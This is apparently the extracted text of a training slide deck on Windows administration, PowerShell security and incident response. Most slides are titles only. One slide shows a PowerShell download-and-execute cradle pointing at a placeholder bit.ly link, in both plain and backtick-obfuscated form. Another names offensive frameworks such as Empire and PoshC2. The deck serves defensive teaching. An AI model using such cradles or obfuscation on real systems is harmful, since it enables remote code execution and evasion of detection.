SUMMARY History End of life CLI Services Security Considerations - - PowerPoint PPT Presentation

summary
SMART_READER_LITE
LIVE PREVIEW

SUMMARY History End of life CLI Services Security Considerations - - PowerPoint PPT Presentation

SUMMARY History End of life CLI Services Security Considerations PowerShell Incident Response BRIEF HISTORY (WINDOWS CLIENT) MSDOS (1980) WINDOWS (1985) WINDOWS 3.1 (1992) Windows 95 (1995)


slide-1
SLIDE 1
slide-2
SLIDE 2

SUMMARY

▶ History ▶ End of life ▶ CLI ▶ Services ▶ Security Considerations ▶ PowerShell ▶ Incident Response

slide-3
SLIDE 3

BRIEF HISTORY (WINDOWS CLIENT)

MSDOS (1980)

WINDOWS (1985)

WINDOWS 3.1 (1992)

Windows 95 (1995)

Windows ME (2000)

Windows XP (2001)

Windows Vista (2006)

Windows 7 (2009)

Windows 8 (2012)

Windows 10 (2015)

slide-4
SLIDE 4

BRIEF HISTORY (WINDOWS SERVER)

▶ Windows NT (1993) ▶ Windows NT 4.0 (1996) ▶ Windows Server 2003 ▶ Windows Server 2008 ▶ Server 2012 ▶ Server 2016 ▶ Server 2019 (2018)

slide-5
SLIDE 5

MARKET SHARE

slide-6
SLIDE 6

END OF LIFE

▶ Windows 7 (2020) ▶ Windows 8.1 (2023)

slide-7
SLIDE 7

END OF LIFE

slide-8
SLIDE 8

KERNEL TYPES

slide-9
SLIDE 9

KERNEL

slide-10
SLIDE 10

COMMAND LINE INTERFACE (CLI)

slide-11
SLIDE 11

COMMAND LINE INTERFACE (CLI)

slide-12
SLIDE 12

SERVICES

*Fixes 99% of printer problems

slide-13
SLIDE 13

WINDOWS SERVER

slide-14
SLIDE 14

SERVER CORE

slide-15
SLIDE 15

ACTIVE DIRECTORY (AD)

slide-16
SLIDE 16

ACTIVE DIRECTORY (AD)

slide-17
SLIDE 17

DOMAIN NAME SERVICE (DNS)

slide-18
SLIDE 18

DYNAMIC HOST CONFIGURATION PROTOCOL(DHCP)

slide-19
SLIDE 19

FILE TRANSFER PROTOCOL (FTP)

slide-20
SLIDE 20

INTERNET INFORMATION SERVICES (IIS)

slide-21
SLIDE 21

SERVER MESSAGE BLOCK (SMB)

slide-22
SLIDE 22

DOMAIN NAME SERVICE (DNS)

slide-23
SLIDE 23

GROUP POLICY OBJECTS (GPO)

slide-24
SLIDE 24

SECURITY CONSIDERATIONS

slide-25
SLIDE 25

WINDOWS DEFENDER

▶ Built into Windows ▶ Behavior based/Signature based

slide-26
SLIDE 26

WINDOWS DEFENDER

slide-27
SLIDE 27

POWERSHELL BASED EXPLOITATION

▶ “Living off the land” ▶ Open Source Tools

Bloodhound

Empire (BC-Security Branch)

Powerup

PoshC2

Death Star

https://github.com/PowerShellMafia

And more…

slide-28
SLIDE 28

OBFUSCATION AND POWERSHELL

▶ -nop == -nopr == -noprof == -noprofile ▶ Invoke-Expression (New-Object Net.WebClient).DownloadString(“htt” + “ps://” +

“bit.ly/sample”) ==

▶ `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)

“`N`e`T`.`W`e`B`C`l`i`e`N`T”).”`D`o`w`N`l`o`A`d`S`T`R`i`N`g”( ‘ht’+’tps://bit.ly/sample’)

slide-29
SLIDE 29

POWERSHELL EXECUTION POLICIES

▶ Not intended to be a security feature

slide-30
SLIDE 30

POWERSHELL LOGGING

▶ Only possible in V5 ▶ Very powerful

slide-31
SLIDE 31

TOPPLING THE EMPIRE

slide-32
SLIDE 32

WHEN SIGNATURE DETECTION FAILS

slide-33
SLIDE 33

BEHAVIOR DETECTION SUCCEEDS

slide-34
SLIDE 34

WINDOWS DEFENDER + GROUP POLICIES

slide-35
SLIDE 35

WINDOWS DEFENDER + GROUP POLICIES

slide-36
SLIDE 36
slide-37
SLIDE 37

POWERSHELL COMMANDS

▶ Get-Service

Lists services running or stopped

slide-38
SLIDE 38

POWERSHELL COMMANDS

▶ Start-Service <servicename> ▶ Stop-Service <servicename>

Start/Stop service

  • Ex. Start-Service DNS
slide-39
SLIDE 39

POWERSHELL COMMANDS

▶ sc.exe start <servicename> ▶ sc.exe stop <servicename>

Start/Stop service

slide-40
SLIDE 40

POWERSHELL COMMANDS

▶ Set-Service –Name <serviceName> -StartupType <startupType>

Automatic (Delayed)

Automatic

Manual

Disabled

slide-41
SLIDE 41

POWERSHELL COMMANDS

▶ Get-MpComputerStatus

Gets the status of antimalware software on system

slide-42
SLIDE 42

POWERSHELL COMMANDS

▶ Get-Process

List Processes

slide-43
SLIDE 43

POWERSHELL COMMANDS

▶ Clear

Clear Screen

slide-44
SLIDE 44

POWERSHELL COMMANDS

▶ More info https://docs.microsoft.com/en-us/powershell/

slide-45
SLIDE 45

INCIDENT RESPONSE

Hands on

slide-46
SLIDE 46

SCENARIO

Device: 1x breached Active Directory Server

Brute force attack detected by intrusion detection system at 9/9/2020 at 0900 EST

Defender scan ran following attack no malicious programs found ▶

Credentials

Username: NIMITZ\Administrator

Password: Change.me!

slide-47
SLIDE 47

RELEVANT EVENT LOGS

slide-48
SLIDE 48

EVENT LOG

slide-49
SLIDE 49

EVENT LOG

slide-50
SLIDE 50

EVENT LOG

slide-51
SLIDE 51

EVENT LOG

slide-52
SLIDE 52

EVENT LOG

slide-53
SLIDE 53

EVENT LOG

slide-54
SLIDE 54

RELEVANT POWERSHELL LOGS

slide-55
SLIDE 55

POWERSHELL LOGS

slide-56
SLIDE 56

POWERSHELL LOGS

slide-57
SLIDE 57

POWERSHELL LOGS

slide-58
SLIDE 58

POWERSHELL LOGS